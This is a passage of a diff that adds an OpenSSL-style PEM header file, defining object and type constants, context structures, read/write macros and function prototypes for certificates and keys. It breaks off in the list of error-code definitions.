HEADER_PEM_H +#define HEADER_PEM_H + +#include +#ifndef OPENSSL_NO_BIO +#include +#endif +#ifndef OPENSSL_NO_STACK +#include +#endif +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#define PEM_BUFSIZE 1024 + +#define PEM_OBJ_UNDEF 0 +#define PEM_OBJ_X509 1 +#define PEM_OBJ_X509_REQ 2 +#define PEM_OBJ_CRL 3 +#define PEM_OBJ_SSL_SESSION 4 +#define PEM_OBJ_PRIV_KEY 10 +#define PEM_OBJ_PRIV_RSA 11 +#define PEM_OBJ_PRIV_DSA 12 +#define PEM_OBJ_PRIV_DH 13 +#define PEM_OBJ_PUB_RSA 14 +#define PEM_OBJ_PUB_DSA 15 +#define PEM_OBJ_PUB_DH 16 +#define PEM_OBJ_DHPARAMS 17 +#define PEM_OBJ_DSAPARAMS 18 +#define PEM_OBJ_PRIV_RSA_PUBLIC 19 +#define PEM_OBJ_PRIV_ECDSA 20 +#define PEM_OBJ_PUB_ECDSA 21 +#define PEM_OBJ_ECPARAMETERS 22 + +#define PEM_ERROR 30 +#define PEM_DEK_DES_CBC 40 +#define PEM_DEK_IDEA_CBC 45 +#define PEM_DEK_DES_EDE 50 +#define PEM_DEK_DES_ECB 60 +#define PEM_DEK_RSA 70 +#define PEM_DEK_RSA_MD2 80 +#define PEM_DEK_RSA_MD5 90 + +#define PEM_MD_MD2 NID_md2 +#define PEM_MD_MD5 NID_md5 +#define PEM_MD_SHA NID_sha +#define PEM_MD_MD2_RSA NID_md2WithRSAEncryption +#define PEM_MD_MD5_RSA NID_md5WithRSAEncryption +#define PEM_MD_SHA_RSA NID_sha1WithRSAEncryption + +#define PEM_STRING_X509_OLD "X509 CERTIFICATE" +#define PEM_STRING_X509 "CERTIFICATE" +#define PEM_STRING_X509_PAIR "CERTIFICATE PAIR" +#define PEM_STRING_X509_TRUSTED "TRUSTED CERTIFICATE" +#define PEM_STRING_X509_REQ_OLD "NEW CERTIFICATE REQUEST" +#define PEM_STRING_X509_REQ "CERTIFICATE REQUEST" +#define PEM_STRING_X509_CRL "X509 CRL" +#define PEM_STRING_EVP_PKEY "ANY PRIVATE KEY" +#define PEM_STRING_PUBLIC "PUBLIC KEY" +#define PEM_STRING_RSA "RSA PRIVATE KEY" +#define PEM_STRING_RSA_PUBLIC "RSA PUBLIC KEY" +#define PEM_STRING_DSA "DSA PRIVATE KEY" +#define PEM_STRING_DSA_PUBLIC "DSA PUBLIC KEY" +#define PEM_STRING_PKCS7 "PKCS7" +#define PEM_STRING_PKCS7_SIGNED "PKCS #7 SIGNED DATA" +#define PEM_STRING_PKCS8 "ENCRYPTED PRIVATE KEY" +#define PEM_STRING_PKCS8INF "PRIVATE KEY" +#define PEM_STRING_DHPARAMS "DH PARAMETERS" +#define PEM_STRING_SSL_SESSION "SSL SESSION PARAMETERS" +#define PEM_STRING_DSAPARAMS "DSA PARAMETERS" +#define PEM_STRING_ECDSA_PUBLIC "ECDSA PUBLIC KEY" +#define PEM_STRING_ECPARAMETERS "EC PARAMETERS" +#define PEM_STRING_ECPRIVATEKEY "EC PRIVATE KEY" +#define PEM_STRING_CMS "CMS" + + /* Note that this structure is initialised by PEM_SealInit and cleaned up + by PEM_SealFinal (at least for now) */ +typedef struct PEM_Encode_Seal_st + { + EVP_ENCODE_CTX encode; + EVP_MD_CTX md; + EVP_CIPHER_CTX cipher; + } PEM_ENCODE_SEAL_CTX; + +/* enc_type is one off */ +#define PEM_TYPE_ENCRYPTED 10 +#define PEM_TYPE_MIC_ONLY 20 +#define PEM_TYPE_MIC_CLEAR 30 +#define PEM_TYPE_CLEAR 40 + +typedef struct pem_recip_st + { + char *name; + X509_NAME *dn; + + int cipher; + int key_enc; + /* char iv[8]; unused and wrong size */ + } PEM_USER; + +typedef struct pem_ctx_st + { + int type; /* what type of object */ + + struct { + int version; + int mode; + } proc_type; + + char *domain; + + struct { + int cipher; + /* unused, and wrong size + unsigned char iv[8]; */ + } DEK_info; + + PEM_USER *originator; + + int num_recipient; + PEM_USER **recipient; + +#ifndef OPENSSL_NO_STACK + STACK *x509_chain; /* certificate chain */ +#else + char *x509_chain; /* certificate chain */ +#endif + EVP_MD *md; /* signature type */ + + int md_enc; /* is the md encrypted or not? */ + int md_len; /* length of md_data */ + char *md_data; /* message digest, could be pkey encrypted */ + + EVP_CIPHER *dec; /* date encryption cipher */ + int key_len; /* key length */ + unsigned char *key; /* key */ + /* unused, and wrong size + unsigned char iv[8]; */ + + + int data_enc; /* is the data encrypted */ + int data_len; + unsigned char *data; + } PEM_CTX; + +/* These macros make the PEM_read/PEM_write functions easier to maintain and + * write. Now they are all implemented with either: + * IMPLEMENT_PEM_rw(...) or IMPLEMENT_PEM_rw_cb(...) + */ + +#ifdef OPENSSL_NO_FP_API + +#define IMPLEMENT_PEM_read_fp(name, type, str, asn1) /**/ +#define IMPLEMENT_PEM_write_fp(name, type, str, asn1) /**/ +#define IMPLEMENT_PEM_write_fp_const(name, type, str, asn1) /**/ +#define IMPLEMENT_PEM_write_cb_fp(name, type, str, asn1) /**/ +#define IMPLEMENT_PEM_write_cb_fp_const(name, type, str, asn1) /**/ + +#else + +#define IMPLEMENT_PEM_read_fp(name, type, str, asn1) \ +type *PEM_read_##name(FILE *fp, type **x, pem_password_cb *cb, void *u)\ +{ \ + return (type*)PEM_ASN1_read(CHECKED_D2I_OF(type, d2i_##asn1), \ + str, fp, \ + CHECKED_PPTR_OF(type, x), \ + cb, u); \ +} + +#define IMPLEMENT_PEM_write_fp(name, type, str, asn1) \ +int PEM_write_##name(FILE *fp, type *x) \ +{ \ + return PEM_ASN1_write(CHECKED_I2D_OF(type, i2d_##asn1), \ + str, fp, \ + CHECKED_PTR_OF(type, x), \ + NULL, NULL, 0, NULL, NULL); \ +} + +#define IMPLEMENT_PEM_write_fp_const(name, type, str, asn1) \ +int PEM_write_##name(FILE *fp, const type *x) \ +{ \ + return PEM_ASN1_write(CHECKED_I2D_OF(const type, i2d_##asn1), \ + str, fp, \ + CHECKED_PTR_OF(const type, x), \ + NULL, NULL, 0, NULL, NULL); \ +} + +#define IMPLEMENT_PEM_write_cb_fp(name, type, str, asn1) \ +int PEM_write_##name(FILE *fp, type *x, const EVP_CIPHER *enc, \ + unsigned char *kstr, int klen, pem_password_cb *cb, \ + void *u) \ + { \ + return PEM_ASN1_write(CHECKED_I2D_OF(type, i2d_##asn1), \ + str, fp, \ + CHECKED_PTR_OF(type, x), \ + enc, kstr, klen, cb, u); \ + } + +#define IMPLEMENT_PEM_write_cb_fp_const(name, type, str, asn1) \ +int PEM_write_##name(FILE *fp, type *x, const EVP_CIPHER *enc, \ + unsigned char *kstr, int klen, pem_password_cb *cb, \ + void *u) \ + { \ + return PEM_ASN1_write(CHECKED_I2D_OF(const type, i2d_##asn1), \ + str, fp, \ + CHECKED_PTR_OF(const type, x), \ + enc, kstr, klen, cb, u); \ + } + +#endif + +#define IMPLEMENT_PEM_read_bio(name, type, str, asn1) \ +type *PEM_read_bio_##name(BIO *bp, type **x, pem_password_cb *cb, void *u)\ +{ \ + return (type*)PEM_ASN1_read_bio(CHECKED_D2I_OF(type, d2i_##asn1), \ + str, bp, \ + CHECKED_PPTR_OF(type, x), \ + cb, u); \ +} + +#define IMPLEMENT_PEM_write_bio(name, type, str, asn1) \ +int PEM_write_bio_##name(BIO *bp, type *x) \ +{ \ + return PEM_ASN1_write_bio(CHECKED_I2D_OF(type, i2d_##asn1), \ + str, bp, \ + CHECKED_PTR_OF(type, x), \ + NULL, NULL, 0, NULL, NULL); \ +} + +#define IMPLEMENT_PEM_write_bio_const(name, type, str, asn1) \ +int PEM_write_bio_##name(BIO *bp, const type *x) \ +{ \ + return PEM_ASN1_write_bio(CHECKED_I2D_OF(const type, i2d_##asn1), \ + str, bp, \ + CHECKED_PTR_OF(const type, x), \ + NULL, NULL, 0, NULL, NULL); \ +} + +#define IMPLEMENT_PEM_write_cb_bio(name, type, str, asn1) \ +int PEM_write_bio_##name(BIO *bp, type *x, const EVP_CIPHER *enc, \ + unsigned char *kstr, int klen, pem_password_cb *cb, void *u) \ + { \ + return PEM_ASN1_write_bio(CHECKED_I2D_OF(type, i2d_##asn1), \ + str, bp, \ + CHECKED_PTR_OF(type, x), \ + enc, kstr, klen, cb, u); \ + } + +#define IMPLEMENT_PEM_write_cb_bio_const(name, type, str, asn1) \ +int PEM_write_bio_##name(BIO *bp, type *x, const EVP_CIPHER *enc, \ + unsigned char *kstr, int klen, pem_password_cb *cb, void *u) \ + { \ + return PEM_ASN1_write_bio(CHECKED_I2D_OF(const type, i2d_##asn1), \ + str, bp, \ + CHECKED_PTR_OF(const type, x), \ + enc, kstr, klen, cb, u); \ + } + +#define IMPLEMENT_PEM_write(name, type, str, asn1) \ + IMPLEMENT_PEM_write_bio(name, type, str, asn1) \ + IMPLEMENT_PEM_write_fp(name, type, str, asn1) + +#define IMPLEMENT_PEM_write_const(name, type, str, asn1) \ + IMPLEMENT_PEM_write_bio_const(name, type, str, asn1) \ + IMPLEMENT_PEM_write_fp_const(name, type, str, asn1) + +#define IMPLEMENT_PEM_write_cb(name, type, str, asn1) \ + IMPLEMENT_PEM_write_cb_bio(name, type, str, asn1) \ + IMPLEMENT_PEM_write_cb_fp(name, type, str, asn1) + +#define IMPLEMENT_PEM_write_cb_const(name, type, str, asn1) \ + IMPLEMENT_PEM_write_cb_bio_const(name, type, str, asn1) \ + IMPLEMENT_PEM_write_cb_fp_const(name, type, str, asn1) + +#define IMPLEMENT_PEM_read(name, type, str, asn1) \ + IMPLEMENT_PEM_read_bio(name, type, str, asn1) \ + IMPLEMENT_PEM_read_fp(name, type, str, asn1) + +#define IMPLEMENT_PEM_rw(name, type, str, asn1) \ + IMPLEMENT_PEM_read(name, type, str, asn1) \ + IMPLEMENT_PEM_write(name, type, str, asn1) + +#define IMPLEMENT_PEM_rw_const(name, type, str, asn1) \ + IMPLEMENT_PEM_read(name, type, str, asn1) \ + IMPLEMENT_PEM_write_const(name, type, str, asn1) + +#define IMPLEMENT_PEM_rw_cb(name, type, str, asn1) \ + IMPLEMENT_PEM_read(name, type, str, asn1) \ + IMPLEMENT_PEM_write_cb(name, type, str, asn1) + +/* These are the same except they are for the declarations */ + +#if defined(OPENSSL_SYS_WIN16) || defined(OPENSSL_NO_FP_API) + +#define DECLARE_PEM_read_fp(name, type) /**/ +#define DECLARE_PEM_write_fp(name, type) /**/ +#define DECLARE_PEM_write_fp_const(name, type) /**/ +#define DECLARE_PEM_write_cb_fp(name, type) /**/ + +#else + +#define DECLARE_PEM_read_fp(name, type) \ + type *PEM_read_##name(FILE *fp, type **x, pem_password_cb *cb, void *u); + +#define DECLARE_PEM_write_fp(name, type) \ + int PEM_write_##name(FILE *fp, type *x); + +#define DECLARE_PEM_write_fp_const(name, type) \ + int PEM_write_##name(FILE *fp, const type *x); + +#define DECLARE_PEM_write_cb_fp(name, type) \ + int PEM_write_##name(FILE *fp, type *x, const EVP_CIPHER *enc, \ + unsigned char *kstr, int klen, pem_password_cb *cb, void *u); + +#endif + +#ifndef OPENSSL_NO_BIO +#define DECLARE_PEM_read_bio(name, type) \ + type *PEM_read_bio_##name(BIO *bp, type **x, pem_password_cb *cb, void *u); + +#define DECLARE_PEM_write_bio(name, type) \ + int PEM_write_bio_##name(BIO *bp, type *x); + +#define DECLARE_PEM_write_bio_const(name, type) \ + int PEM_write_bio_##name(BIO *bp, const type *x); + +#define DECLARE_PEM_write_cb_bio(name, type) \ + int PEM_write_bio_##name(BIO *bp, type *x, const EVP_CIPHER *enc, \ + unsigned char *kstr, int klen, pem_password_cb *cb, void *u); + +#else + +#define DECLARE_PEM_read_bio(name, type) /**/ +#define DECLARE_PEM_write_bio(name, type) /**/ +#define DECLARE_PEM_write_bio_const(name, type) /**/ +#define DECLARE_PEM_write_cb_bio(name, type) /**/ + +#endif + +#define DECLARE_PEM_write(name, type) \ + DECLARE_PEM_write_bio(name, type) \ + DECLARE_PEM_write_fp(name, type) + +#define DECLARE_PEM_write_const(name, type) \ + DECLARE_PEM_write_bio_const(name, type) \ + DECLARE_PEM_write_fp_const(name, type) + +#define DECLARE_PEM_write_cb(name, type) \ + DECLARE_PEM_write_cb_bio(name, type) \ + DECLARE_PEM_write_cb_fp(name, type) + +#define DECLARE_PEM_read(name, type) \ + DECLARE_PEM_read_bio(name, type) \ + DECLARE_PEM_read_fp(name, type) + +#define DECLARE_PEM_rw(name, type) \ + DECLARE_PEM_read(name, type) \ + DECLARE_PEM_write(name, type) + +#define DECLARE_PEM_rw_const(name, type) \ + DECLARE_PEM_read(name, type) \ + DECLARE_PEM_write_const(name, type) + +#define DECLARE_PEM_rw_cb(name, type) \ + DECLARE_PEM_read(name, type) \ + DECLARE_PEM_write_cb(name, type) + +#ifdef SSLEAY_MACROS + +#define PEM_write_SSL_SESSION(fp,x) \ + PEM_ASN1_write((int (*)())i2d_SSL_SESSION, \ + PEM_STRING_SSL_SESSION,fp, (char *)x, NULL,NULL,0,NULL,NULL) +#define PEM_write_X509(fp,x) \ + PEM_ASN1_write((int (*)())i2d_X509,PEM_STRING_X509,fp, \ + (char *)x, NULL,NULL,0,NULL,NULL) +#define PEM_write_X509_REQ(fp,x) PEM_ASN1_write( \ + (int (*)())i2d_X509_REQ,PEM_STRING_X509_REQ,fp,(char *)x, \ + NULL,NULL,0,NULL,NULL) +#define PEM_write_X509_CRL(fp,x) \ + PEM_ASN1_write((int (*)())i2d_X509_CRL,PEM_STRING_X509_CRL, \ + fp,(char *)x, NULL,NULL,0,NULL,NULL) +#define PEM_write_RSAPrivateKey(fp,x,enc,kstr,klen,cb,u) \ + PEM_ASN1_write((int (*)())i2d_RSAPrivateKey,PEM_STRING_RSA,fp,\ + (char *)x,enc,kstr,klen,cb,u) +#define PEM_write_RSAPublicKey(fp,x) \ + PEM_ASN1_write((int (*)())i2d_RSAPublicKey,\ + PEM_STRING_RSA_PUBLIC,fp,(char *)x,NULL,NULL,0,NULL,NULL) +#define PEM_write_DSAPrivateKey(fp,x,enc,kstr,klen,cb,u) \ + PEM_ASN1_write((int (*)())i2d_DSAPrivateKey,PEM_STRING_DSA,fp,\ + (char *)x,enc,kstr,klen,cb,u) +#define PEM_write_PrivateKey(bp,x,enc,kstr,klen,cb,u) \ + PEM_ASN1_write((int (*)())i2d_PrivateKey,\ + (((x)->type == EVP_PKEY_DSA)?PEM_STRING_DSA:PEM_STRING_RSA),\ + bp,(char *)x,enc,kstr,klen,cb,u) +#define PEM_write_PKCS7(fp,x) \ + PEM_ASN1_write((int (*)())i2d_PKCS7,PEM_STRING_PKCS7,fp, \ + (char *)x, NULL,NULL,0,NULL,NULL) +#define PEM_write_DHparams(fp,x) \ + PEM_ASN1_write((int (*)())i2d_DHparams,PEM_STRING_DHPARAMS,fp,\ + (char *)x,NULL,NULL,0,NULL,NULL) + +#define PEM_write_NETSCAPE_CERT_SEQUENCE(fp,x) \ + PEM_ASN1_write((int (*)())i2d_NETSCAPE_CERT_SEQUENCE, \ + PEM_STRING_X509,fp, \ + (char *)x, NULL,NULL,0,NULL,NULL) + +#define PEM_read_SSL_SESSION(fp,x,cb,u) (SSL_SESSION *)PEM_ASN1_read( \ + (char *(*)())d2i_SSL_SESSION,PEM_STRING_SSL_SESSION,fp,(char **)x,cb,u) +#define PEM_read_X509(fp,x,cb,u) (X509 *)PEM_ASN1_read( \ + (char *(*)())d2i_X509,PEM_STRING_X509,fp,(char **)x,cb,u) +#define PEM_read_X509_REQ(fp,x,cb,u) (X509_REQ *)PEM_ASN1_read( \ + (char *(*)())d2i_X509_REQ,PEM_STRING_X509_REQ,fp,(char **)x,cb,u) +#define PEM_read_X509_CRL(fp,x,cb,u) (X509_CRL *)PEM_ASN1_read( \ + (char *(*)())d2i_X509_CRL,PEM_STRING_X509_CRL,fp,(char **)x,cb,u) +#define PEM_read_RSAPrivateKey(fp,x,cb,u) (RSA *)PEM_ASN1_read( \ + (char *(*)())d2i_RSAPrivateKey,PEM_STRING_RSA,fp,(char **)x,cb,u) +#define PEM_read_RSAPublicKey(fp,x,cb,u) (RSA *)PEM_ASN1_read( \ + (char *(*)())d2i_RSAPublicKey,PEM_STRING_RSA_PUBLIC,fp,(char **)x,cb,u) +#define PEM_read_DSAPrivateKey(fp,x,cb,u) (DSA *)PEM_ASN1_read( \ + (char *(*)())d2i_DSAPrivateKey,PEM_STRING_DSA,fp,(char **)x,cb,u) +#define PEM_read_PrivateKey(fp,x,cb,u) (EVP_PKEY *)PEM_ASN1_read( \ + (char *(*)())d2i_PrivateKey,PEM_STRING_EVP_PKEY,fp,(char **)x,cb,u) +#define PEM_read_PKCS7(fp,x,cb,u) (PKCS7 *)PEM_ASN1_read( \ + (char *(*)())d2i_PKCS7,PEM_STRING_PKCS7,fp,(char **)x,cb,u) +#define PEM_read_DHparams(fp,x,cb,u) (DH *)PEM_ASN1_read( \ + (char *(*)())d2i_DHparams,PEM_STRING_DHPARAMS,fp,(char **)x,cb,u) + +#define PEM_read_NETSCAPE_CERT_SEQUENCE(fp,x,cb,u) \ + (NETSCAPE_CERT_SEQUENCE *)PEM_ASN1_read( \ + (char *(*)())d2i_NETSCAPE_CERT_SEQUENCE,PEM_STRING_X509,fp,\ + (char **)x,cb,u) + +#define PEM_write_bio_X509(bp,x) \ + PEM_ASN1_write_bio((int (*)())i2d_X509,PEM_STRING_X509,bp, \ + (char *)x, NULL,NULL,0,NULL,NULL) +#define PEM_write_bio_X509_REQ(bp,x) PEM_ASN1_write_bio( \ + (int (*)())i2d_X509_REQ,PEM_STRING_X509_REQ,bp,(char *)x, \ + NULL,NULL,0,NULL,NULL) +#define PEM_write_bio_X509_CRL(bp,x) \ + PEM_ASN1_write_bio((int (*)())i2d_X509_CRL,PEM_STRING_X509_CRL,\ + bp,(char *)x, NULL,NULL,0,NULL,NULL) +#define PEM_write_bio_RSAPrivateKey(bp,x,enc,kstr,klen,cb,u) \ + PEM_ASN1_write_bio((int (*)())i2d_RSAPrivateKey,PEM_STRING_RSA,\ + bp,(char *)x,enc,kstr,klen,cb,u) +#define PEM_write_bio_RSAPublicKey(bp,x) \ + PEM_ASN1_write_bio((int (*)())i2d_RSAPublicKey, \ + PEM_STRING_RSA_PUBLIC,\ + bp,(char *)x,NULL,NULL,0,NULL,NULL) +#define PEM_write_bio_DSAPrivateKey(bp,x,enc,kstr,klen,cb,u) \ + PEM_ASN1_write_bio((int (*)())i2d_DSAPrivateKey,PEM_STRING_DSA,\ + bp,(char *)x,enc,kstr,klen,cb,u) +#define PEM_write_bio_PrivateKey(bp,x,enc,kstr,klen,cb,u) \ + PEM_ASN1_write_bio((int (*)())i2d_PrivateKey,\ + (((x)->type == EVP_PKEY_DSA)?PEM_STRING_DSA:PEM_STRING_RSA),\ + bp,(char *)x,enc,kstr,klen,cb,u) +#define PEM_write_bio_PKCS7(bp,x) \ + PEM_ASN1_write_bio((int (*)())i2d_PKCS7,PEM_STRING_PKCS7,bp, \ + (char *)x, NULL,NULL,0,NULL,NULL) +#define PEM_write_bio_DHparams(bp,x) \ + PEM_ASN1_write_bio((int (*)())i2d_DHparams,PEM_STRING_DHPARAMS,\ + bp,(char *)x,NULL,NULL,0,NULL,NULL) +#define PEM_write_bio_DSAparams(bp,x) \ + PEM_ASN1_write_bio((int (*)())i2d_DSAparams, \ + PEM_STRING_DSAPARAMS,bp,(char *)x,NULL,NULL,0,NULL,NULL) + +#define PEM_write_bio_NETSCAPE_CERT_SEQUENCE(bp,x) \ + PEM_ASN1_write_bio((int (*)())i2d_NETSCAPE_CERT_SEQUENCE, \ + PEM_STRING_X509,bp, \ + (char *)x, NULL,NULL,0,NULL,NULL) + +#define PEM_read_bio_X509(bp,x,cb,u) (X509 *)PEM_ASN1_read_bio( \ + (char *(*)())d2i_X509,PEM_STRING_X509,bp,(char **)x,cb,u) +#define PEM_read_bio_X509_REQ(bp,x,cb,u) (X509_REQ *)PEM_ASN1_read_bio( \ + (char *(*)())d2i_X509_REQ,PEM_STRING_X509_REQ,bp,(char **)x,cb,u) +#define PEM_read_bio_X509_CRL(bp,x,cb,u) (X509_CRL *)PEM_ASN1_read_bio( \ + (char *(*)())d2i_X509_CRL,PEM_STRING_X509_CRL,bp,(char **)x,cb,u) +#define PEM_read_bio_RSAPrivateKey(bp,x,cb,u) (RSA *)PEM_ASN1_read_bio( \ + (char *(*)())d2i_RSAPrivateKey,PEM_STRING_RSA,bp,(char **)x,cb,u) +#define PEM_read_bio_RSAPublicKey(bp,x,cb,u) (RSA *)PEM_ASN1_read_bio( \ + (char *(*)())d2i_RSAPublicKey,PEM_STRING_RSA_PUBLIC,bp,(char **)x,cb,u) +#define PEM_read_bio_DSAPrivateKey(bp,x,cb,u) (DSA *)PEM_ASN1_read_bio( \ + (char *(*)())d2i_DSAPrivateKey,PEM_STRING_DSA,bp,(char **)x,cb,u) +#define PEM_read_bio_PrivateKey(bp,x,cb,u) (EVP_PKEY *)PEM_ASN1_read_bio( \ + (char *(*)())d2i_PrivateKey,PEM_STRING_EVP_PKEY,bp,(char **)x,cb,u) + +#define PEM_read_bio_PKCS7(bp,x,cb,u) (PKCS7 *)PEM_ASN1_read_bio( \ + (char *(*)())d2i_PKCS7,PEM_STRING_PKCS7,bp,(char **)x,cb,u) +#define PEM_read_bio_DHparams(bp,x,cb,u) (DH *)PEM_ASN1_read_bio( \ + (char *(*)())d2i_DHparams,PEM_STRING_DHPARAMS,bp,(char **)x,cb,u) +#define PEM_read_bio_DSAparams(bp,x,cb,u) (DSA *)PEM_ASN1_read_bio( \ + (char *(*)())d2i_DSAparams,PEM_STRING_DSAPARAMS,bp,(char **)x,cb,u) + +#define PEM_read_bio_NETSCAPE_CERT_SEQUENCE(bp,x,cb,u) \ + (NETSCAPE_CERT_SEQUENCE *)PEM_ASN1_read_bio( \ + (char *(*)())d2i_NETSCAPE_CERT_SEQUENCE,PEM_STRING_X509,bp,\ + (char **)x,cb,u) + +#endif + +#if 1 +/* "userdata": new with OpenSSL 0.9.4 */ +typedef int pem_password_cb(char *buf, int size, int rwflag, void *userdata); +#else +/* OpenSSL 0.9.3, 0.9.3a */ +typedef int pem_password_cb(char *buf, int size, int rwflag); +#endif + +int PEM_get_EVP_CIPHER_INFO(char *header, EVP_CIPHER_INFO *cipher); +int PEM_do_header (EVP_CIPHER_INFO *cipher, unsigned char *data,long *len, + pem_password_cb *callback,void *u); + +#ifndef OPENSSL_NO_BIO +int PEM_read_bio(BIO *bp, char **name, char **header, + unsigned char **data,long *len); +int PEM_write_bio(BIO *bp,const char *name,char *hdr,unsigned char *data, + long len); +int PEM_bytes_read_bio(unsigned char **pdata, long *plen, char **pnm, const char *name, BIO *bp, + pem_password_cb *cb, void *u); +void * PEM_ASN1_read_bio(d2i_of_void *d2i, const char *name, BIO *bp, + void **x, pem_password_cb *cb, void *u); + +#define PEM_ASN1_read_bio_of(type,d2i,name,bp,x,cb,u) \ + ((type*)PEM_ASN1_read_bio(CHECKED_D2I_OF(type, d2i), \ + name, bp, \ + CHECKED_PPTR_OF(type, x), \ + cb, u)) + +int PEM_ASN1_write_bio(i2d_of_void *i2d,const char *name,BIO *bp,char *x, + const EVP_CIPHER *enc,unsigned char *kstr,int klen, + pem_password_cb *cb, void *u); + +#define PEM_ASN1_write_bio_of(type,i2d,name,bp,x,enc,kstr,klen,cb,u) \ + (PEM_ASN1_write_bio(CHECKED_I2D_OF(type, i2d), \ + name, bp, \ + CHECKED_PTR_OF(type, x), \ + enc, kstr, klen, cb, u)) + +STACK_OF(X509_INFO) * PEM_X509_INFO_read_bio(BIO *bp, STACK_OF(X509_INFO) *sk, pem_password_cb *cb, void *u); +int PEM_X509_INFO_write_bio(BIO *bp,X509_INFO *xi, EVP_CIPHER *enc, + unsigned char *kstr, int klen, pem_password_cb *cd, void *u); +#endif + +#ifndef OPENSSL_SYS_WIN16 +int PEM_read(FILE *fp, char **name, char **header, + unsigned char **data,long *len); +int PEM_write(FILE *fp,char *name,char *hdr,unsigned char *data,long len); +void * PEM_ASN1_read(d2i_of_void *d2i, const char *name, FILE *fp, void **x, + pem_password_cb *cb, void *u); +int PEM_ASN1_write(i2d_of_void *i2d,const char *name,FILE *fp, + char *x,const EVP_CIPHER *enc,unsigned char *kstr, + int klen,pem_password_cb *callback, void *u); +STACK_OF(X509_INFO) * PEM_X509_INFO_read(FILE *fp, STACK_OF(X509_INFO) *sk, + pem_password_cb *cb, void *u); +#endif + +int PEM_SealInit(PEM_ENCODE_SEAL_CTX *ctx, EVP_CIPHER *type, + EVP_MD *md_type, unsigned char **ek, int *ekl, + unsigned char *iv, EVP_PKEY **pubk, int npubk); +void PEM_SealUpdate(PEM_ENCODE_SEAL_CTX *ctx, unsigned char *out, int *outl, + unsigned char *in, int inl); +int PEM_SealFinal(PEM_ENCODE_SEAL_CTX *ctx, unsigned char *sig,int *sigl, + unsigned char *out, int *outl, EVP_PKEY *priv); + +void PEM_SignInit(EVP_MD_CTX *ctx, EVP_MD *type); +void PEM_SignUpdate(EVP_MD_CTX *ctx,unsigned char *d,unsigned int cnt); +int PEM_SignFinal(EVP_MD_CTX *ctx, unsigned char *sigret, + unsigned int *siglen, EVP_PKEY *pkey); + +int PEM_def_callback(char *buf, int num, int w, void *key); +void PEM_proc_type(char *buf, int type); +void PEM_dek_info(char *buf, const char *type, int len, char *str); + +#ifndef SSLEAY_MACROS + +#include + +DECLARE_PEM_rw(X509, X509) + +DECLARE_PEM_rw(X509_AUX, X509) + +DECLARE_PEM_rw(X509_CERT_PAIR, X509_CERT_PAIR) + +DECLARE_PEM_rw(X509_REQ, X509_REQ) +DECLARE_PEM_write(X509_REQ_NEW, X509_REQ) + +DECLARE_PEM_rw(X509_CRL, X509_CRL) + +DECLARE_PEM_rw(PKCS7, PKCS7) + +DECLARE_PEM_rw(NETSCAPE_CERT_SEQUENCE, NETSCAPE_CERT_SEQUENCE) + +DECLARE_PEM_rw(PKCS8, X509_SIG) + +DECLARE_PEM_rw(PKCS8_PRIV_KEY_INFO, PKCS8_PRIV_KEY_INFO) + +#ifndef OPENSSL_NO_RSA + +DECLARE_PEM_rw_cb(RSAPrivateKey, RSA) + +DECLARE_PEM_rw_const(RSAPublicKey, RSA) +DECLARE_PEM_rw(RSA_PUBKEY, RSA) + +#endif + +#ifndef OPENSSL_NO_DSA + +DECLARE_PEM_rw_cb(DSAPrivateKey, DSA) + +DECLARE_PEM_rw(DSA_PUBKEY, DSA) + +DECLARE_PEM_rw_const(DSAparams, DSA) + +#endif + +#ifndef OPENSSL_NO_EC +DECLARE_PEM_rw_const(ECPKParameters, EC_GROUP) +DECLARE_PEM_rw_cb(ECPrivateKey, EC_KEY) +DECLARE_PEM_rw(EC_PUBKEY, EC_KEY) +#endif + +#ifndef OPENSSL_NO_DH + +DECLARE_PEM_rw_const(DHparams, DH) + +#endif + +DECLARE_PEM_rw_cb(PrivateKey, EVP_PKEY) + +DECLARE_PEM_rw(PUBKEY, EVP_PKEY) + +int PEM_write_bio_PKCS8PrivateKey_nid(BIO *bp, EVP_PKEY *x, int nid, + char *kstr, int klen, + pem_password_cb *cb, void *u); +int PEM_write_bio_PKCS8PrivateKey(BIO *, EVP_PKEY *, const EVP_CIPHER *, + char *, int, pem_password_cb *, void *); +int i2d_PKCS8PrivateKey_bio(BIO *bp, EVP_PKEY *x, const EVP_CIPHER *enc, + char *kstr, int klen, + pem_password_cb *cb, void *u); +int i2d_PKCS8PrivateKey_nid_bio(BIO *bp, EVP_PKEY *x, int nid, + char *kstr, int klen, + pem_password_cb *cb, void *u); +EVP_PKEY *d2i_PKCS8PrivateKey_bio(BIO *bp, EVP_PKEY **x, pem_password_cb *cb, void *u); + +int i2d_PKCS8PrivateKey_fp(FILE *fp, EVP_PKEY *x, const EVP_CIPHER *enc, + char *kstr, int klen, + pem_password_cb *cb, void *u); +int i2d_PKCS8PrivateKey_nid_fp(FILE *fp, EVP_PKEY *x, int nid, + char *kstr, int klen, + pem_password_cb *cb, void *u); +int PEM_write_PKCS8PrivateKey_nid(FILE *fp, EVP_PKEY *x, int nid, + char *kstr, int klen, + pem_password_cb *cb, void *u); + +EVP_PKEY *d2i_PKCS8PrivateKey_fp(FILE *fp, EVP_PKEY **x, pem_password_cb *cb, void *u); + +int PEM_write_PKCS8PrivateKey(FILE *fp,EVP_PKEY *x,const EVP_CIPHER *enc, + char *kstr,int klen, pem_password_cb *cd, void *u); + +#endif /* SSLEAY_MACROS */ + + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_PEM_strings(void); + +/* Error codes for the PEM functions. */ + +/* Function codes. */ +#define PEM_F_D2I_PKCS8PRIVATEKEY_BIO 120 +#define PEM_F_D2I_PKCS8PRIVATEKEY_FP 121 +#define PEM_F_DO_PK8PKEY 126 +#define PEM_F_DO_PK8PKEY_FP 125 +#define PEM_F_LOAD_IV 101 +#define PEM_F_PEM_ASN1_READ 102 +#define PEM_F_PEM_ASN1_READ_BIO 103 +#define PEM_F_PEM_ASN1_WRITE 104 +#define PEM_F_PEM_ASN1_WRITE_BIO 105 +#define PEM_F_PEM_DEF_CALLBACK 100 +#define PEM_F_PEM_DO_HEADER 106 +#define PEM_F_PEM_F_PEM_WRITE_PKCS8PRIVATEKEY 118 +#define PEM_F_PEM_GET_EVP_CIPHER_INFO 107 +#define PEM_F_PEM_PK8PKEY 119 +#define PEM_F_PEM_READ 108 +#define PEM_F_PEM_READ_BIO 109 +#define PEM_F_PEM_READ_BIO_PRIVATEKEY 123 +#define PEM_F_PEM_READ_PRIVATEKEY 124 +#define PEM_F_PEM_SEALFINAL 110 +#define 